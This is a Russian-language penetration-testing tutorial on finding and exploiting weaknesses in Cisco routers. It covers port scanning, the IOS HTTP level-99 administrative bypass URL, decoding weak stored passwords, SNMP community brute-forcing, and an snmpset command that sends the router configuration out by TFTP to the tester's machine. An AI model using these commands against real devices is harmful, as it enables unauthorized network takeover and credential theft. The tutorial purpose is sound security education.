Это первая из серии статей, описывающих распознавание и использование уязвимостей в Cisco маршрутизаторах. Ниже мы рассмотрим анализ файла конфигурации маршрутизатора. Дополнительно, мы обсудим возможности того, что можно сделать при достижении доступа к устройству. В этой статье мы уделили много внимания Cisco маршрутизаторам, из-за их подавляющего количества на рынке.
Марк Вольфанг, перевод SecurityLab.ru
Это первая из серии статей, описывающих распознавание и использование уязвимостей в Cisco маршрутизаторах. Ниже мы рассмотрим анализ файла конфигурации маршрутизатора. Дополнительно, мы обсудим возможности того, что можно сделать при достижении доступа к устройству. В этой статье мы уделили много внимания Cisco маршрутизаторам, из-за их подавляющего количества на рынке.
Пен-тестеры часто проверяют более эффективные или интересные системы на возможность взлома, типа уязвимой системы Solaris 8, или Microsoft 2000 Server, уязвимой к недавно найденой "дырке" в RPC DCOM, оставляя без внимания стандартные сетевые устройства. Я посоветовал бы пен-тестеру дважды подумать прежде, чем игнорировать эти критические системы. Клиент может сказать: - "служба telnet является доступной для каждого пользователя Internet", или "я нуждаюсь в открытом протоколе SNMP, для управления моими устройствами". Это единственные службы (хотя и не обязательно уязвимые из-за ошибок в коде), которые дают пен-тестеру (или хакеру) более чем достаточные возможности для компрометации устройства. Также важно, что бы эти сетевые устройства были полностью защищены, надежны, и доступны в сети.
Полное управление устройством маршрутизации часто может привести к полному управлению сетью, или используя опознавательные мандаты от маршрутизатора на других сетевых устройствах и системах, или действуя более удаленно и отклоняя через независимую систему, некоторый трафик направленный адресату.
Маршрутизаторы могут быть сконфигурированы точно также как и любая другая система в сети - они могут использоваться как WEB сервер, ssh демон, chargen, и др. По этой причине, в маршрутизаторах часто могут появляться ошибки, как и в Unix системах. Вероятно самый легкий и наиболее точный путь идентификации хоста в сети как маршрутизатора - это использование Nmap - сканера портов с очень точным снятием системных характеристик. Ниже представлен типичный скан портов Cisco маршрутизатора:
Interesting ports on router1:
(The 168 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
23/tcp open telnet
79/tcp open finger
2001/tcp open dc
4001/tcp open unknown
6001/tcp open X11:1
9001/tcp open unknown
Remote operating system guess: Cisco Router/Switch with IOS 11.2
Если доступна служба регистрации типа telnet или SSH, то можно использовать стандартный telnet клиент и соединяться с соответствующим портом. Стандартный Cisco маршрутизатор отвечает примерно следующим образом:
[root@hackyou root]# telnet router1
Trying router1...
Connected to router1.
Escape character is '^]'.
User Access Verification
Password:
Строка "User Access Verification" является торговой маркой баннера Cisco telnet. Но нельзя полагаться только на одни баннеры, так как системные администраторы иногда специально изменяют их.
SING - средство, с помощью которого можно компоновать настраиваемые ICMP пакеты, перехватывать ICMP запросы. Маршрутизаторы - это единственные устройства, которые отвечают на этот тип ICMP пакетов. Ответ на этот тип (как и на другие типы) ICMP пакетов, может помочь нам идентифицировать систему как маршрутизатор.
Существуют и другие методы, но обычно для подключения и определения устройства как маршрутизатор, используется Telnet клиент или NetCat.
Сканеры уязвимостей обычно хорошо идентифицируют известные уязвимости, но они часто могут пропускать существенные ошибки в конфигурации. В большинстве испытаний на проникновение, у сканеров уязвимости может быть неплохой старт, но они неадекватно ведут себя в случае присутствия человеческого фактора, который входит в эти испытания.
В настоящее время существует крайне мало уязвимостей, которые могут привести к прямой компрометации Cisco IOS устройств. Плохое администрирование ведет к компрометации маршрутизаторов намного чаще, чем эксплуатация ранее обнаруженных программных ошибок.
Уязвимость, которая затрагивает большинство маршрутизаторов Cisco (когда условия равны) - HTTP Configuration Arbitrary Administrative Access Vulnerability. Эту специфическую уязвимость обнаруживают большинство сканеров уязвимости, и в тоже время она слишком банальна для эксплуатации. Эта уязвимость позволяет полное удаленное административное управление над целевым маршрутизатором. Инструмент пен-тестера в данном случае - просто web-браузер.
Сначала, пен-тестер запустит свой web-браузер и зайдет на Web страницу уязвимого маршрутизатора. Это будет выглядеть примерно так:
Рисунок 1: Стандартная HTTP идентификация пользователя в Cisco маршрутизаторе.
После нажатия кнопки "Cancel", пен тестер вводит следующий URL в адресную строку: Http://10.0.1.252/level/99/exec/show/config, который отобразит ему стартовую конфигурацию устройства.
Рисунок 2. Отображение конфигурации маршрутизатора Cisco.
Уязвимость раскрывает конфигурацию атакуемого маршрутизатора, используемые интерфейсы, списки управления доступом (Aсl), SNMP строки, и легко расшифровываемые пароли!
Из трех различных методов хранения паролей в IOS, сетевой администратор выбрал Vigenere - легко обратимую схему кодирования. В этом случае, я запускаю свободно доступный инструмент GetPass и немедленно перевожу "хеш" в нормальный текст.
Существуют и другие программы для декодирования паролей, причем большинство из них бесплатные. Также есть web-страницы со CGI сценариями, которые выполняют декодирование, несколько Unix программ, и даже программное обеспечение для карманных компьютеров. Однажды взломав ваш пароль, пен-тестер регистрируется с помощью telnet и получает полный административный доступ к маршрутизатору.
Как было упомянуто, в IOS существуют три метода, которые используются для представления паролей в файле конфигурации маршрутизатора. Это:
Очевидно, что наиболее безопасной опцией является одностороннее MD5 хеширование, которое по своей природе не может быть декодировано. Данная опция включается с помощью команды, "enable secret 0 password".
Конечно, вы можете считать, что уязвимость, найденная более двух лет назад, к настоящему времени должна была бы быть уничтоженной, но это не так. Я, главным образом, нахожу её на тестируемых маршрутизаторах во внутренних сетях, но это не говорит, что не существует машрутизатора, сконфигурированного подобным образом и доступного из Internet.
Предыдущий раздел демонстрирует эксплуатацию ошибки в Cisco IOS, которая дает возможность получить полное удаленное административное управление. Из-за природы IOS, и небольшого количества подобных ошибок, я не собираюсь обсуждать данную тему слишком подробно. В этом разделе мы исследуем два различных вида перебора в "лоб".
Существуют несколько различных программых средств для "лобового" перебора SNMP, и это обычно является довольно безопасным и "тихим" путем для нападения на граничный маршрутизатор. Если у вас есть лицензия на пакет программ сетевого управления , то вы сможете узнать, что существует довольно много программ для оценки Cisco маршрутизаторов пен-тестерами. Однако, для SNMP целесообразней использовать бесплатный сканер SNMP ADMsnmp. ADMsnmp это консольное приложение, которое довольно быстро обрабатывает список слов, позволяя вам узнать о любых community строках. Для определения этого списка я обычно захожу на интересующий меня сайт и пытаюсь собрать как можно больше информации о нем. После этого я беру несколько акронимов, имен и служб, и пробую все эти слова. Если, при использовании этих слов, мне не повезет, то я буду использовать более объемный словарь wordfile. Linux поставляется с wordfile (/usr/share/dict/words), содержащим 45427 слов. Wordfiles всех форм и размеров доступны в изобилии. Некоторые из них написаны на разных языках, некоторые имеют общие темы, а другие содержат слова, которые абсолютно чужды вам.
Ниже представлен скриншот ADMSNMP предположительных community строк. Обратите внимание на различия, между тем, что появляется на экране, сообщающем пользователю о предполагаемых community строках, и соответственным уровнем привилегий.
Строка "send setrequest" в вышеупомянутом изображении, позволяет пользователю узнать о том, что он получил привилегии для чтения/записи на устройстве. Первое, что я обычно делаю после получения этого уровня доступа, это переход к MIB (Management Information Base), для того, чтобы больше узнать об устройстве.
[root@hackyou root]# snmpwalk -v 1 -c duckling 10.0.1.252 | head
SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System
Software
IOS (tm) 2500 Software (C2500-I-L), Version 12.0(14), RELEASE SOFTWARE
(fc1)
Copyright (c) 1986-2000 by cisco Systems, Inc.
Compiled Tue 31-Oct-00 23:59 by linda
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.30
SNMPv2-MIB::sysUpTime.0 = Timeticks: (103607424) 11 days, 23:47:54.24
SNMPv2-MIB::sysContact.0 = STRING:
SNMPv2-MIB::sysName.0 = STRING: ADMsnmp
SNMPv2-MIB::sysLocation.0 = STRING:
SNMPv2-MIB::sysServices.0 = INTEGER: 6
Как только я узнаю, что устройство - маршрутизатор, и запущен IOS Cisco, то я сделаю так, чтобы маршрутизатор послал свой файл конфигурации одной из моих систем, использующих TFTP. Это делается с помощью следующей команды:
[root@hackyou root]# snmpset 10.0.1.252 duckling
.1.3.6.1.4.1.9.2.1.55.192.168.1.15 s "config"
enterprises.9.2.1.55.192.168.1.15 = "config"
Теперь я проверю свой tftpboot каталог, и вижу, что файл конфигурации маршрутизатора загружен на мою систему. Solarwinds включает GUI инструмент под Windows, который делает тоже самое, но я предпочитаю работать в Linux, поэтому использую UCD-SNMP утилиты.
Solarwinds MIB браузер также может быть полезен, если SNMP является единственным механизмом для обращения к устройству. Иногда можно даже включить Telnet через MIB устройства. Конечно то, что можно делать через SNMP, зависит от производителя и от того, как они решают использовать SNMP.
Ниже показан основной MIB на Cisco устройстве. Используя Solarwinds, вы можете просматривать информацию через MIB, и дважды кликнув на тех элементах, которые вы хотите установить или получить, приложение само выполнит работу.
Рисунок 5: Solarwinds MIB браузер на Cisco устройстве
Перебор "в лоб" в идентификационных (login) службах типа Telnet или SSH, несколько труднее, но такой вид атаки может дать положительные результаты для пен-тестера. Первое, что необходимо сделать перед проведением такого вида атаки, это определение того, что маршрутизатор действительно использует некоторый тип расширенной идентификации, такой как Tacacs или Radius. Хотя IOS и не имеет никаких собственных средств блокировки пользователей, после N-го числа попыток входа в систему, но блокировку можно активизировать, когда идентификация проходит в другой системе через Tacacs или Radius. Самым легким способом сообщения того, что идентификацию проходят в другой системе, является соединение с маршрутизатором, использующим стандартного Telnet клиента.
root@hackyou root]# telnet router2
Trying router2...
Connected to router2.
Escape character is '^]'.
User Access Verification
Username:
Если устройство запрашивает имя пользователя, то вы можете быть уверены в том, что в данном случае используется некоторая форма расширенной идентификации. В этом случае, используется Tacacs, и перебор "в лоб", в данном случае затруднителен, т.к. пен-тестеру необходимо угадать две переменные: имя пользователя и пароль, вместо одного пароля. Если запущен finger, то имена пользователя могут быть собраны, но возможность блокировки учетной записи пользователя, вероятно, остановит большинство пен-тестеров от проведения такого вида нападений.
Если определено, что расширенная идентификация не используется, то пен-тестер может выполнить перебор "в лоб" Telnet демона, почти таким же способом, как и с SNMP. Brutus - инструмент перебора "в лоб" на базе ОС Windows, который поддерживает множество различных протоколов, и может быть "на лету" настроен для новых протоколов. Другим превосходным средством для перебора "в лоб", является Hydra. Существуют и другие, знакомые пен-тестерам, средства, написанные в Expect, Perl и др. языках.
В первой статье из этой серии мы рассмотрели несколько различных путей получения доступа к Cisco маршрутизатору. Эти методы ни в коем случае не являются исчерпывающими, но они помогают нам при обычных уязвимостях и ошибках конфигурации, которые Вы, вероятно, найдете при проведении испытания на проникновение. Так, на этой стадии, при испытании на проникновение мы получили доступ к устройству. Что же теперь? В следующей статье мы обсудим, что нам делать далее...
Храним важное в надежном месте